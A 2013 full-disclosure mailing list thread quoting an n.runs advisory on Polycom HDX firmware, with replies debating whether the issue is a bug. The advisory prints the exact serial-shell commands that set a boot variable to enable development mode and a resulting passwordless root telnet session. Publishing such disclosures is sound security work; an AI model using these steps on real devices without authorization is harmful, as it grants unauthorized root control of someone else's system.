full-disclosure - Re: n.runs-SA-2013.001 - Polycom - Command Shell Grants System-Level Access

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Date: Mon, 18 Mar 2013 00:31:58 +0000
From: some one <s3cret.squirell@...il.com>
To: Julius Kivimäki <julius.kivimaki@...il.com>
Cc: vuln@...unia.com, cert@...t.org, full-disclosure@...ts.grok.org.uk,
 soc@...cert.gov, bugtraq@...urityfocus.com, security@...ns.com, cve@...re.org
Subject: Re: n.runs-SA-2013.001 - Polycom - Command Shell
 Grants System-Level Access

I think because if/when someone enables it there is no authentication
needed to remote log in as root?
On Mar 16, 2013 4:32 PM, "Julius Kivimäki" <julius.kivimaki@...il.com>
wrote:

> Why exactly is this a bug?
>
> 2013/3/15 <security@...ns.com>
>
>> n.runs AG
>> http://www.nruns.com/
>> security(at)nruns.com
>> n.runs-SA-2013.001
>>  15-Mar-2013
>>
>> ___________________________________________________________________________
>> Vendor:         Polycom, http://www.polycom.com
>> Affected Products:      Polycom HDX Series
>> Affected Version:       < 3.1.1.2
>> Vulnerability:          Polycom Command Shell Grants System-Level Access
>> Risk:                   LOW
>>
>> ___________________________________________________________________________
>>
>> Overview:
>>
>> The Polycom Command Shell is a command-line based administrative interface
>> to the Polycom HDX system. It can be accessed either via a RS-232 serial
>> connection or via telnet on port 23.
>>
>> Description:
>>
>> The Polycom Command Shell can be used to view and also change several
>> settings of the system. However it can also be used to get system-level
>> access (i.e. root access) to the HDX system. The "printenv" and "setenv"
>> commands can be used to read and write variables respectively which are
>> stored in flash memory.
>>
>> The easiest way to get root access to the HDX system is to enable the
>> "development mode" of the system which will then enable a telnet server
>> where a root login without a password is possible. In order to enable
>> the development mode, the "devboot" U-Boot environment variable must
>> be set. This can be done through the Polycom Command Shell with the
>> following commands:
>>
>>     $ cu -l ttyUSB0 -s 9600
>>     -> setenv othbootargs "devboot=bogus"
>>     -> reboot
>>     reboot, are you sure? <y,n> y
>>
>> This will reboot the system and enable a telnet server where a login as
>> root is possible.
>>
>>     $ telnet 192.168.0.218
>>     Trying 192.168.0.218...
>>     Connected to 192.168.0.218.
>>     Escape character is '^]'.
>>
>>     hdx7000.lan login: root
>>     ## Error: "vidoutsize" not defined
>>     # id
>>     uid=0(root) gid=0(root)
>>     # uname -a
>>     Linux hdx7000.lan 2.6.18.1.p2.14 #1 PREEMPT Wed Feb 3 10:25:31 CST
>> 2010
>> ppc unknown
>>     #
>>
>> Impact:
>>
>> Someone with legitimate access to the Polycom Command Shell can get
>> direct system-level access to the underlying embedded Linux system.
>> This can be used to further analyze the system.
>>
>> Solution:
>>
>> Polycom released version 3.1.1.2 of the HDX software which fixes this
>> issue. It can be downloaded from the Polycom Support page at
>> http://support.polycom.com.
>>
>> ___________________________________________________________________________
>>
>> Credit:
>> Bug found by Moritz Jodeit of n.runs AG.
>>
>> ___________________________________________________________________________
>>
>> Unaltered electronic reproduction of this advisory is permitted. For all
>> other reproduction or publication, in printing or otherwise, contact
>> security@...ns.com for permission. Use of the advisory constitutes
>> acceptance for use in an "as is" condition. All warranties are excluded.
>> In no event shall n.runs be liable for any damages whatsoever including
>> direct, indirect, incidental, consequential, loss of business profits or
>> special damages, even if n.runs has been advised of the possibility of
>> such damages.
>>
>> Copyright 2013 n.runs AG. All rights reserved. Terms of use apply.
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
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>>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
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